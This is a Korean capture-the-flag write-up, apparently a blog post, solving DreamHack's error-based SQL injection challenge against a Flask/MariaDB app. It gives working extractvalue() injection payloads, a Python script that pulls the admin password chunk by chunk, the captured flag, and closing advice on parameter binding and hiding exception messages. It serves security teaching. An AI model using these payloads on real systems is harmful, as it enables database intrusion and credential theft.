[๐Ÿฅˆ Silver 3] ์‘๋‹ต์—” ๊ฒฐ๊ณผ๊ฐ€ ์—†์–ด๋„ ์—๋Ÿฌ์—” ๋‹ค ์žˆ๋‹ค โ€” DreamHack error based sql injection ํ’€์ด

2026-07-01ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅˆ Silver 3] ์‘๋‹ต์—” ๊ฒฐ๊ณผ๊ฐ€ ์—†์–ด๋„ ์—๋Ÿฌ์—” ๋‹ค ์žˆ๋‹ค โ€” DreamHack error based sql injection ํ’€์ด

uid ๊ฐ’์„ ๊ทธ๋Œ€๋กœ ๋ฌธ์ž์—ด ํฌ๋งคํŒ…ํ•ด ์ฟผ๋ฆฌ๋ฅผ ๋งŒ๋“œ๋Š” Flask + MariaDB ์•ฑ. ์„ฑ๊ณต ์‘๋‹ต์€ ํ•ญ์ƒ ๊ฐ™์€ ์ฟผ๋ฆฌ ํ…œํ”Œ๋ฆฟ๋งŒ echoํ•ด UNION์ด๋‚˜ boolean ๊ธฐ๋ฐ˜์œผ๋กœ๋Š” ์•„๋ฌด๊ฒƒ๋„ ๊ตฌ๋ถ„ํ•  ์ˆ˜ ์—†์ง€๋งŒ, ์˜ˆ์™ธ๋ฅผ str(e)๋กœ ๊ทธ๋Œ€๋กœ ๋Œ๋ ค์ฃผ๋Š” ํƒ“์— extractvalue()์˜ XPATH syntax error์— ์„œ๋ธŒ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ๋ฅผ ์‹ค์–ด admin ๋น„๋ฐ€๋ฒˆํ˜ธ(ํ”Œ๋ž˜๊ทธ)๋ฅผ ํ†ต์งธ๋กœ ์ฝ์–ด๋‚ธ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” error based sql injection ๋ถ„๋ฅ˜: Web ๋‚œ์ด๋„: ๐Ÿฅˆ Silver 3 FLAG: DH{c3968c78840750168774ad951fc98bf788563c4d}

uid ํ•˜๋‚˜๋งŒ ๋ฐ›๋Š” ์•„์ฃผ ๋‹จ์ˆœํ•œ ์กฐํšŒ ํŽ˜์ด์ง€๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์กฐํšŒ์— ์„ฑ๊ณตํ•˜๋“  ์‹คํŒจํ•˜๋“  ํ™”๋ฉด์— ์ฐํžˆ๋Š” ๊ฑด ํ•ญ์ƒ ๋‚ด๊ฐ€ ๋ณด๋‚ธ ์ฟผ๋ฆฌ ๋ฌธ์ž์—ด๋ฟ์ด๊ณ , ์‹ค์ œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ฐ’์€ ํ•œ ๊ธ€์ž๋„ ์•ˆ ๋ณด์ธ๋‹ค. ์˜ˆ์™ธ๊ฐ€ ํ„ฐ์กŒ์„ ๋•Œ๋งŒ ์˜ˆ์™ธ๋‹ค.

๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” ์ฟผ๋ฆฌ ํ…œํ”Œ๋ฆฟ์ด ๊ทธ๋Œ€๋กœ ๋ณด์ž„
๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” ์ฟผ๋ฆฌ ํ…œํ”Œ๋ฆฟ์ด ๊ทธ๋Œ€๋กœ ๋ณด์ž„


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…error based sql injection
๋‚œ์ด๋„๐Ÿฅˆ Silver 3
๋ถ„๋ฅ˜Web
์ŠคํƒPython 3.10 ยท Flask ยท flask-mysqldb ยท MariaDB
์ œ๊ณตapp.py / init.sql / Dockerfile ์†Œ์Šค + ๋ผ์ด๋ธŒ ์„œ๋ฒ„
ํ•ต์‹ฌ ์ทจ์•ฝ์ ๋ฌธ์ž์—ด ํฌ๋งคํŒ… SQLi + ์˜ˆ์™ธ ๋ฉ”์‹œ์ง€(str(e)) ๊ทธ๋Œ€๋กœ ์‘๋‹ต โ€” extractvalue() ์—๋Ÿฌ๊ธฐ๋ฐ˜ ์œ ์ถœ

์ด๋ฆ„ ๊ทธ๋Œ€๋กœ ์—๋Ÿฌ๊ธฐ๋ฐ˜์ด ์œ ์ผํ•œ ํ†ต๋กœ๋‹ค. ์ •์ƒ/์‹คํŒจ ์‘๋‹ต์ด ๊ตฌ๋ถ„๋˜์ง€ ์•Š์œผ๋‹ˆ boolean์ด๋‚˜ UNION์€ ์“ธ๋ชจ๊ฐ€ ์—†๊ณ , MariaDB๊ฐ€ ๋ฑ‰๋Š” ์˜ˆ์™ธ ๋ฉ”์‹œ์ง€์— ์›ํ•˜๋Š” ๊ฐ’์„ ์‹ค์–ด ๋ณด๋‚ด์•ผ ํ•œ๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์˜ˆ์™ธ๋ฅผ ๋‹ค๋ฃจ๋Š” ๋ฐฉ์‹

Flask ๋ผ์šฐํŠธ์—์„œ DB ์ฟผ๋ฆฌ๋ฅผ ๊ฐ์‹ผ try/except๊ฐ€ ์‹ค์ œ๋กœ ๋ญ˜ ๋Œ๋ ค์ฃผ๋Š”์ง€๊ฐ€ ์ด ๋ฌธ์ œ์˜ ์ „๋ถ€๋‹ค.

try:
    cur = mysql.connection.cursor()
    cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
    return template.format(uid=uid)
except Exception as e:
    return str(e)

์ฟผ๋ฆฌ๊ฐ€ ์„ฑ๊ณตํ•˜๋ฉด template.format(uid=uid), ์ฆ‰ ๋‚ด๊ฐ€ ๋ณด๋‚ธ uid๋ฅผ ๊ทธ๋Œ€๋กœ ๋˜๋ผ์›Œ ๋„ฃ์€ ์ฟผ๋ฆฌ ๋ฌธ์ž์—ด๋งŒ ๋Œ์•„์˜จ๋‹ค. ์‹ค์ œ cur.execute() ๊ฒฐ๊ณผ(row)๋Š” ์–ด๋””์—๋„ ์“ฐ์ด์ง€ ์•Š๋Š”๋‹ค. ๋ฐ˜๋Œ€๋กœ ์ฟผ๋ฆฌ๊ฐ€ ์‹คํŒจํ•˜๋ฉด str(e) โ€” MySQLdb ์˜ˆ์™ธ ๊ฐ์ฒด๋ฅผ ๋ฌธ์ž์—ด๋กœ ๋ฐ”๊พผ ๊ฒƒ, ์ฆ‰ ๋“œ๋ผ์ด๋ฒ„๊ฐ€ ๋ฐ›์€ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€ ์›๋ฌธ์ด ๊ทธ๋Œ€๋กœ ์‘๋‹ต ๋ณธ๋ฌธ์ด ๋œ๋‹ค.

์ •์ƒ ๋™์ž‘๊ณผ ์—๋Ÿฌ ์ƒํ™ฉ์—์„œ ์‘๋‹ต์ด ์–ด๋–ป๊ฒŒ ๊ฐˆ๋ฆฌ๋Š”์ง€ ์‹ค์ œ๋กœ ์ฐ์–ด๋ดค๋‹ค.

uid=admin โ€” ์„ฑ๊ณตํ•ด๋„ ์ฟผ๋ฆฌ ๋ฌธ์ž์—ด๋งŒ ๊ทธ๋Œ€๋กœ echo
uid=admin โ€” ์„ฑ๊ณตํ•ด๋„ ์ฟผ๋ฆฌ ๋ฌธ์ž์—ด๋งŒ ๊ทธ๋Œ€๋กœ echo

admin์œผ๋กœ ์กฐํšŒํ•ด๋„ ํ™”๋ฉด์—” ์—ฌ์ „ํžˆ SELECT * FROM user WHERE uid='admin';๋งŒ ์žˆ๋‹ค. ์ด ์‘๋‹ต ํ•˜๋‚˜๋กœ๋Š” uid๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€์กฐ์ฐจ ์•Œ ์ˆ˜ ์—†๋‹ค.


๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ โ€” ๋ญ˜ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋‚˜

init.sql์„ ๋ณด๋ฉด ๋ชฉํ‘œ๊ฐ€ ๋ถ„๋ช…ํ•˜๋‹ค.

CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);
 
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');

user ํ…Œ์ด๋ธ”์˜ admin ํ–‰ upw ์ปฌ๋Ÿผ์ด ํ”Œ๋ž˜๊ทธ๋‹ค. uid ํŒŒ๋ผ๋ฏธํ„ฐ๋Š” ๋”ฐ์˜ดํ‘œ๋กœ ๊ฐ์‹ธ๋Š” ์ฒ˜๋ฆฌ ์—†์ด f-string์œผ๋กœ ์ฟผ๋ฆฌ์— ๋ฐ”๋กœ ๊ฝ‚ํžˆ๋‹ˆ, ' ํ•˜๋‚˜๋งŒ ๋ณด๋‚ด๋„ ๋ฌธ์ž์—ด ๋ฆฌํ„ฐ๋Ÿด์ด ๊นจ์ง„๋‹ค.

GET /?uid=admin'

uid=admin' โ€” MariaDB ์›๋ณธ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€๊ฐ€ ๊ทธ๋Œ€๋กœ ๋…ธ์ถœ
uid=admin' โ€” MariaDB ์›๋ณธ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€๊ฐ€ ๊ทธ๋Œ€๋กœ ๋…ธ์ถœ

(1064, "... check the manual that corresponds to your MariaDB server version ...") โ€” ๋“œ๋ผ์ด๋ฒ„ ์˜ˆ์™ธ๊ฐ€ ๊ฐ€๊ณต ์—†์ด ๊ทธ๋Œ€๋กœ ๋‚˜์˜จ๋‹ค. SQLi๋Š” ํ™•์ •๋๊ณ , ์ด์ œ ๊ด€๊ฑด์€ ์ด ์˜ˆ์™ธ ๋ฉ”์‹œ์ง€์— ์›ํ•˜๋Š” ๊ฐ’์„ ์–ด๋–ป๊ฒŒ ์‹ค์–ด ๋ณด๋‚ด๋А๋ƒ๋‹ค.


๐Ÿ› ์‚ฝ์งˆ โ€” ์‘๋‹ต์ด ์•ˆ ๊ฐˆ๋ฆฌ๋ฉด UNION๋„ boolean๋„ ์†Œ์šฉ์—†๋‹ค

๊ฐ€์žฅ ๋จผ์ € ํ•ด๋ณธ ๊ฑด UNION ๊ธฐ๋ฐ˜์ด์—ˆ๋‹ค. ์ปฌ๋Ÿผ ์ˆ˜(idx, uid, upw 3๊ฐœ)๋ฅผ ๋งž์ถฐ์„œ ๋„ฃ์–ด๋ดค๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ 1 โ€” UNION SELECT, ์ฟผ๋ฆฌ๋Š” ์„ฑ๊ณตํ–ˆ์ง€๋งŒ ์•„๋ฌด ๊ฒƒ๋„ ์•ˆ ๋ณด์ž„
GET /?uid=admin' UNION SELECT 1,2,3-- -

UNION SELECT ์„ฑ๊ณตํ•ด๋„ ์‘๋‹ต์€ ์ฟผ๋ฆฌ ๋ฌธ์ž์—ด๋ฟ
UNION SELECT ์„ฑ๊ณตํ•ด๋„ ์‘๋‹ต์€ ์ฟผ๋ฆฌ ๋ฌธ์ž์—ด๋ฟ

๋ฌธ๋ฒ• ์—๋Ÿฌ ์—†์ด ํ†ต๊ณผํ–ˆ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์‘๋‹ต์—” SELECT * FROM user WHERE uid='admin' UNION SELECT 1,2,3-- -';๋ผ๋Š” ๋ฌธ์ž์—ด๋งŒ ์žˆ์„ ๋ฟ, UNION์œผ๋กœ ๋ถ™์ธ 1,2,3์ด ์–ด๋””์—๋„ ์•ˆ ๋ณด์ธ๋‹ค. ์• ์ดˆ์— cur.execute()์˜ ๊ฒฐ๊ณผ ์ž์ฒด๋ฅผ ํ™”๋ฉด์— ๋ฐ˜์˜ํ•˜๋Š” ์ฝ”๋“œ๊ฐ€ ์—†์œผ๋‹ˆ ๋‹น์—ฐํ•˜๋‹ค.

ํ˜น์‹œ ์ฐธ/๊ฑฐ์ง“์— ๋”ฐ๋ผ ํŽ˜์ด์ง€๊ฐ€ ๋ฏธ๋ฌ˜ํ•˜๊ฒŒ๋ผ๋„ ๋‹ฌ๋ผ์ง€๋‚˜ ์‹ถ์–ด boolean ๊ธฐ๋ฐ˜๋„ ์ฐ”๋Ÿฌ๋ดค๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ 2 โ€” AND 1=1 / AND 1=2, ์ฐธ์ด๋“  ๊ฑฐ์ง“์ด๋“  ์‘๋‹ต์ด ๋˜‘๊ฐ™์Œ
GET /?uid=admin' AND 1=2-- -

์ฐธ/๊ฑฐ์ง“ ์กฐ๊ฑด ๋ชจ๋‘ ๊ฐ™์€ ํ…œํ”Œ๋ฆฟ๋งŒ ๋Œ์•„์˜ด
์ฐธ/๊ฑฐ์ง“ ์กฐ๊ฑด ๋ชจ๋‘ ๊ฐ™์€ ํ…œํ”Œ๋ฆฟ๋งŒ ๋Œ์•„์˜ด

AND 1=1์ด๋“  AND 1=2์ด๋“  ๊ฒฐ๊ณผ๋Š” ํ•ญ์ƒ template.format(uid=uid) ํ•œ ์ค„๋ฟ์ด๋‹ค. ์กฐ๊ฑด์ด ์ฐธ์ธ์ง€ ๊ฑฐ์ง“์ธ์ง€ ๊ตฌ๋ถ„ํ•  ๋ฐฉ๋ฒ•์ด ์‘๋‹ต ์–ด๋””์—๋„ ์—†๋‹ค.

๋‘ ์‹œ๋„ ๋‹ค "์ฟผ๋ฆฌ๋Š” ํ†ตํ–ˆ๋Š”๋ฐ ์•„๋ฌด๊ฒƒ๋„ ์•ˆ ๋ณด์ธ๋‹ค"๋กœ ๋๋‚ฌ๋‹ค. ์ด ์•ฑ์—์„œ ๊ฐ’์„ ๋นผ๋‚ผ ์ˆ˜ ์žˆ๋Š” ์œ ์ผํ•œ ์ฑ„๋„์€ ์ฒ˜์Œ ๋ดค๋˜ ๊ทธ SQL ๋ฌธ๋ฒ• ์—๋Ÿฌ ๋ฉ”์‹œ์ง€๋ฟ์ด๋‹ค.



๐Ÿ’ฃ ํ•ต์‹ฌ โ€” extractvalue() ๋กœ ์„œ๋ธŒ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ๋ฅผ ์—๋Ÿฌ์— ํƒœ์šฐ๊ธฐ

MariaDB์˜ extractvalue(xml_frag, xpath_expr)๋Š” ๋‘ ๋ฒˆ์งธ ์ธ์ž๋ฅผ XPath ํ‘œํ˜„์‹์œผ๋กœ ํŒŒ์‹ฑํ•œ๋‹ค. ์—ฌ๊ธฐ์— ~(0x7e)๋กœ ์‹œ์ž‘ํ•˜๋Š”, XPath ๋ฌธ๋ฒ•์ด ์•„๋‹Œ ๋ฌธ์ž์—ด์„ ๋„ฃ์œผ๋ฉด ํŒŒ์‹ฑ์ด ์‹คํŒจํ•˜๋ฉด์„œ ๊ทธ ๋ฌธ์ž์—ด ์ž์ฒด๋ฅผ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€์— ๊ทธ๋Œ€๋กœ ํฌํ•จ์‹œํ‚จ๋‹ค.

extractvalue(1, concat(0x7e, (SELECT upw FROM user WHERE uid='admin')))

concat(0x7e, ...)๊ฐ€ ์„œ๋ธŒ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ ์•ž์— ~๋ฅผ ๋ถ™์—ฌ "์ด๊ฑด ์œ ํšจํ•œ XPath๊ฐ€ ์•„๋‹ˆ๋‹ค"๋ฅผ ํ™•์ •์‹œํ‚ค๊ณ , MariaDB๋Š” XPATH syntax error: '~<๊ฐ’>'์ด๋ผ๋Š” ์˜ˆ์™ธ๋ฅผ ๋˜์ง„๋‹ค. ์ด ์˜ˆ์™ธ๊ฐ€ str(e)๋ฅผ ๊ฑฐ์ณ ๊ทธ๋Œ€๋กœ HTTP ์‘๋‹ต์ด ๋œ๋‹ค.

์„œ๋ธŒ์ฟผ๋ฆฌ ์‹คํ–‰ โ†’ XPath ์œ„์žฅ โ†’ ํŒŒ์‹ฑ ์‹คํŒจ๋กœ ๊ฐ’์ด ์—๋Ÿฌ์— ์‹ค๋ฆผ
์„œ๋ธŒ์ฟผ๋ฆฌ ์‹คํ–‰ โ†’ XPath ์œ„์žฅ โ†’ ํŒŒ์‹ฑ ์‹คํŒจ๋กœ ๊ฐ’์ด ์—๋Ÿฌ์— ์‹ค๋ฆผ

๋‹ค๋งŒ ์ด ๋ฐฉ์‹์—” ์ œ์•ฝ์ด ํ•˜๋‚˜ ์žˆ๋‹ค. MariaDB๊ฐ€ XPath ์—๋Ÿฌ ๋ฉ”์‹œ์ง€์— ๋‹ด๋Š” ๋ฌธ์ž์—ด ๊ธธ์ด๊ฐ€ ์ผ์ • ๊ธธ์ด(๋Œ€๋žต 32๋ฐ”์ดํŠธ ์•ˆํŒŽ)์—์„œ ์ž˜๋ฆฐ๋‹ค. upw๊ฐ€ ๊ทธ๋ณด๋‹ค ๊ธธ๋ฉด ํ•œ ๋ฒˆ์— ๋‹ค ๋ชป ๋ฝ‘๊ณ  SUBSTRING์œผ๋กœ ๋‚˜๋ˆ  ์—ฌ๋Ÿฌ ๋ฒˆ ์งˆ์˜ํ•ด์•ผ ํ•œ๋‹ค.


๐ŸŽฏ ์ต์Šคํ”Œ๋กœ์ž‡

๋จผ์ € ๊ธธ์ด๋ถ€ํ„ฐ ํ™•์ธํ–ˆ๋‹ค.

GET /?uid=admin' AND extractvalue(1,concat(0x7e,(SELECT LENGTH(upw) FROM user WHERE uid='admin')))-- -

LENGTH(upw) ์œ ์ถœ โ€” 44
LENGTH(upw) ์œ ์ถœ โ€” 44

44์ž. ์ž˜๋ฆผ ๊ตฌ๊ฐ„์„ ํ”ผํ•ด 30์ž์”ฉ ๋Š์–ด ๋‘ ๋ฒˆ ๋‚˜๋ˆ  ๋ฝ‘์•˜๋‹ค.

GET /?uid=admin' AND extractvalue(1,concat(0x7e,(SELECT SUBSTRING(upw,1,30) FROM user WHERE uid='admin')))-- -

SUBSTRING(upw,1,30) ์œ ์ถœ
SUBSTRING(upw,1,30) ์œ ์ถœ

GET /?uid=admin' AND extractvalue(1,concat(0x7e,(SELECT SUBSTRING(upw,31,20) FROM user WHERE uid='admin')))-- -

SUBSTRING(upw,31,20) ์œ ์ถœ
SUBSTRING(upw,31,20) ์œ ์ถœ

๋‘ ์กฐ๊ฐ DH{c3968c78840750168774ad951fc + 98bf788563c4d}๋ฅผ ์ด์–ด ๋ถ™์ด๋ฉด ์ „์ฒด 44์ž๊ฐ€ ์™„์„ฑ๋œ๋‹ค.


๐Ÿš€ Full Exploit

๊ธธ์ด ํ™•์ธ๋ถ€ํ„ฐ ์ฒญํฌ ๋‹จ์œ„ ๋ฐ˜๋ณต ์ถ”์ถœ๊นŒ์ง€ ํ•œ ์Šคํฌ๋ฆฝํŠธ๋กœ ๋ฌถ์—ˆ๋‹ค.

#!/usr/bin/env python3
# app.py ๊ฐ€ str(e) ๋ฅผ ๊ทธ๋Œ€๋กœ ์‘๋‹ต์— ์ฐ์–ด์ฃผ๋Š” ์ ์„ ์ด์šฉํ•œ ์—๋Ÿฌ๊ธฐ๋ฐ˜ SQLi.
# extractvalue() ์˜ XPATH syntax error ์— ์„œ๋ธŒ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ๋ฅผ ์‹ค์–ด ๋‚˜๋ฅธ๋‹ค.
import re
import sys
import urllib.parse
import urllib.request
 
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:13688"
 
ERR_RE = re.compile(r"XPATH syntax error: '~(.*)'\"?\)$")
 
 
def leak(expr):
    payload = f"admin' AND extractvalue(1,concat(0x7e,({expr})))-- -"
    url = f"{BASE}/?uid=" + urllib.parse.quote(payload, safe="")
    body = urllib.request.urlopen(url, timeout=10).read().decode()
    m = ERR_RE.search(body.strip())
    return m.group(1) if m else None
 
 
length = int(leak("SELECT LENGTH(upw) FROM user WHERE uid='admin'"))
print(f"[*] LENGTH(upw) = {length}")
 
CHUNK = 30
flag = ""
for start in range(1, length + 1, CHUNK):
    part = leak(f"SELECT SUBSTRING(upw,{start},{CHUNK}) FROM user WHERE uid='admin'")
    print(f"[*] SUBSTRING(upw,{start},{CHUNK}) = {part}")
    flag += part
 
print("\n[+] FLAG =", flag)

solve.py ์‹คํ–‰ โ€” ๊ธธ์ด ํ™•์ธ ํ›„ ์ฒญํฌ ๋‹จ์œ„๋กœ ํ”Œ๋ž˜๊ทธ ์กฐ๋ฆฝ
solve.py ์‹คํ–‰ โ€” ๊ธธ์ด ํ™•์ธ ํ›„ ์ฒญํฌ ๋‹จ์œ„๋กœ ํ”Œ๋ž˜๊ทธ ์กฐ๋ฆฝ

[+] FLAG = DH{c3968c78840750168774ad951fc98bf788563c4d}


๐Ÿ“ ๊ฒฐ๋ก 

์‘๋‹ต์— ๋ฐ์ดํ„ฐ๊ฐ€ ์•ˆ ๋ณด์ธ๋‹ค๊ณ  SQLi๊ฐ€ ๋ง‰ํžŒ ๊ฒŒ ์•„๋‹ˆ๋‹ค.

์ด ์•ฑ์€ ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ๋ฅผ ํ™”๋ฉด์— ๋ฐ˜์˜ํ•˜๋Š” ์ฝ”๋“œ ์ž์ฒด๊ฐ€ ์—†์–ด์„œ UNION์ด๋“  boolean์ด๋“  ๊ฒ‰๋ณด๊ธฐ์—” ์•„๋ฌด ํšจ๊ณผ๊ฐ€ ์—†์–ด ๋ณด์ธ๋‹ค. ํ•˜์ง€๋งŒ ์˜ˆ์™ธ ์ฒ˜๋ฆฌ ๊ฒฝ๋กœ ํ•˜๋‚˜๊ฐ€ ์—ด๋ ค ์žˆ์œผ๋ฉด ๊ทธ ๊ฒฝ๋กœ๋กœ ์›ํ•˜๋Š” ๊ฐ’์„ ๊ทธ๋Œ€๋กœ ๋นผ๋‚ผ ์ˆ˜ ์žˆ๋‹ค. ์ฑ„๋„์ด ํ•˜๋‚˜๋ฟ์ด๋ผ๊ณ  ์•ˆ์ „ํ•œ ๊ฒŒ ์•„๋‹ˆ๋ผ, ๊ทธ ํ•˜๋‚˜๊ฐ€ ๋šซ๋ฆฌ๋ฉด ๊ทธ๊ฑธ๋กœ ๋์ด๋‹ค.

์˜ˆ์™ธ ๋ฉ”์‹œ์ง€๋ฅผ ์‚ฌ์šฉ์ž์—๊ฒŒ ๊ทธ๋Œ€๋กœ ๋ณด์—ฌ์ฃผ๋ฉด ์•ˆ ๋œ๋‹ค.

except Exception as e: return str(e)๋Š” ๋””๋ฒ„๊น…ํ•  ๋• ํŽธํ•˜์ง€๋งŒ, DB ๋“œ๋ผ์ด๋ฒ„ ์˜ˆ์™ธ๋Š” ์ฟผ๋ฆฌ ๊ตฌ์กฐ์™€ ๋ฐ์ดํ„ฐ ์กฐ๊ฐ์„ ๊ทธ๋Œ€๋กœ ๋‹ด๊ณ  ์žˆ๋‹ค. ์šด์˜ ํ™˜๊ฒฝ์—์„œ๋Š” ์‚ฌ์šฉ์ž์—๊ฒŒ ์ผ๋ฐ˜ํ™”๋œ ์—๋Ÿฌ๋งŒ ๋ณด์—ฌ์ฃผ๊ณ , ์›๋ณธ ์˜ˆ์™ธ๋Š” ์„œ๋ฒ„ ๋กœ๊ทธ์—๋งŒ ๋‚จ๊ฒจ์•ผ ํ•œ๋‹ค.

์ž…๋ ฅ์„ ๋ฌธ์ž์—ด ํฌ๋งคํŒ…์œผ๋กœ ์ฟผ๋ฆฌ์— ๊ฝ‚์ง€ ์•Š๋Š”๋‹ค.

f"...WHERE uid='{uid}'" ๋Œ€์‹  ํŒŒ๋ผ๋ฏธํ„ฐ ๋ฐ”์ธ๋”ฉ(cur.execute("... WHERE uid=%s", (uid,)))์„ ์“ฐ๋ฉด ์• ์ดˆ์— ' ํ•˜๋‚˜๋กœ ๋ฌธ์ž์—ด ๋ฆฌํ„ฐ๋Ÿด์„ ๊นจ๋Š” ๊ฒƒ ์ž์ฒด๊ฐ€ ๋ถˆ๊ฐ€๋Šฅํ•ด์ง„๋‹ค. ์—๋Ÿฌ๊ธฐ๋ฐ˜์ด๋“  ๋ญ๋“ , SQLi ๊ณ„์—ด ์ทจ์•ฝ์  ์ „์ฒด๊ฐ€ ์ด ํ•œ ์ค„๋กœ ์‚ฌ๋ผ์ง„๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅˆ Silver 1] ๋กœ๊ทธ์ธ์— ์„ฑ๊ณตํ•˜๋Š” ์ˆœ๊ฐ„ ๋‹ต์ด ๋ฐ”๋€๋‹ค โ€” DreamHack Login Page ํ’€์ด
blog

[๐Ÿฅˆ Silver 1] ๋กœ๊ทธ์ธ์— ์„ฑ๊ณตํ•˜๋Š” ์ˆœ๊ฐ„ ๋‹ต์ด ๋ฐ”๋€๋‹ค โ€” DreamHack Login Page ํ’€์ด

๋ถ€๋“ฑํ˜ธ๋„ ์‹œ๊ฐ„์ง€์—ฐ๋„ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ์— ๋ง‰ํžŒ ๋ธ”๋ผ์ธ๋“œ SQL ์ธ์ ์…˜. ๊ฒŒ๋‹ค๊ฐ€ ์ฟผ๋ฆฌ๊ฐ€ ํ–‰์„ ๋ฐ˜ํ™˜ํ•˜๋ฉด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด admin ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ƒˆ๋กœ ๋งŒ๋“ค์–ด ๋ฒ„๋ ค์„œ, ํ”ํ•œ "์ฐธ์ด๋ฉด ๋กœ๊ทธ์ธ๋œ๋‹ค" ์˜ค๋ผํด์„ ์“ฐ๋Š” ์ˆœ๊ฐ„ ๋‹ต์ด ๋ฐ”๋€๋‹ค. ์กฐ๊ฑด์ด ์ฐธ์ผ ๋•Œ๋งŒ MySQL ์„ EXP(999) ๋กœ ์ฃฝ์—ฌ HTTP 500 ์„ ์–ป๊ณ , ๋น„๊ต๋Š” GREATEST ํ•ญ๋“ฑ์‹์œผ๋กœ ๋Œ€์‹ ํ•ด 32์ž ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ 225์งˆ์˜์— ๋ณต์›ํ–ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-08-10#dreamhack +5
[๐Ÿฅˆ Silver 3] ๊ณต๋ฐฑ๋„ OR๋„ admin๋„ ๋ชป ์“ฐ๋Š”๋ฐ โ€” ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ WAF ๋šซ์€ ๋ธ”๋ผ์ธ๋“œ SQLi โ€” DreamHack sql injection bypass WAF ํ’€์ด
blog

[๐Ÿฅˆ Silver 3] ๊ณต๋ฐฑ๋„ OR๋„ admin๋„ ๋ชป ์“ฐ๋Š”๋ฐ โ€” ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ WAF ๋šซ์€ ๋ธ”๋ผ์ธ๋“œ SQLi โ€” DreamHack sql injection bypass WAF ํ’€์ด

union/select/from/and/or/admin/๊ณต๋ฐฑ/*// ๋ฅผ ๋ถ€๋ถ„ ๋ฌธ์ž์—ด๋กœ ๋ง‰๋Š” ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ WAF ์•ž์—์„œ, MySQL์˜ ||/&&์™€ ๊ณต๋ฐฑ ์—†๋Š” # ์ฃผ์„์œผ๋กœ ๋ฌธ๋ฒ• ์ž์ฒด๋ฅผ ๋ฐ”๊ฟ” ์šฐํšŒํ•œ ๊ธฐ๋ก์ด๋‹ค. ํ™”๋ฉด์—” uid ์ปฌ๋Ÿผ๋งŒ ๋ฐ˜์‚ฌ๋˜๋Š” ๊ตฌ์กฐ๋ผ admin์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ(FLAG)๋Š” boolean-blind๋กœ ํ•œ ๊ธ€์ž์”ฉ ๊บผ๋‚ด์•ผ ํ–ˆ๋‹ค.
#dreamhack#ctf#web+4
2026-07-05#dreamhack +4
[๐Ÿฅˆ Silver 4] UNION์œผ๋กœ ์ง„์งœ ํ…Œ์ด๋ธ”์„ ์ฐพ์•„๋‚ด๋Š” SQL Injection โ€” DreamHack baby-union ํ’€์ด
blog

[๐Ÿฅˆ Silver 4] UNION์œผ๋กœ ์ง„์งœ ํ…Œ์ด๋ธ”์„ ์ฐพ์•„๋‚ด๋Š” SQL Injection โ€” DreamHack baby-union ํ’€์ด

๋กœ๊ทธ์ธ ์ฟผ๋ฆฌ์— ๋”ฐ์˜ดํ‘œ๊ฐ€ ๊ทธ๋Œ€๋กœ ๋“ค์–ด๊ฐ€๋Š” ์ „ํ˜•์ ์ธ UNION SQL Injection. ' or 1=1๋กœ ์ฃผ์ž…์„ ํ™•์ธํ•˜๊ณ , UNION SELECT 1,2,3,4๋กœ ์ปฌ๋Ÿผ ์ˆ˜์™€ ์ถœ๋ ฅ ์œ„์น˜๋ฅผ ์žก์€ ๋’ค, init.sql์ด ํ˜๋ฆฐ ๊ฐ€์งœ ์ด๋ฆ„ ๋Œ€์‹  information_schema๋กœ ์ง„์งœ ํ…Œ์ด๋ธ”(onlyflag)์„ ์ฐพ์•„ concat์œผ๋กœ ํ”Œ๋ž˜๊ทธ๋ฅผ ๋ฝ‘์•˜๋‹ค.
#dreamhack#ctf#web+4
2026-06-05#dreamhack +4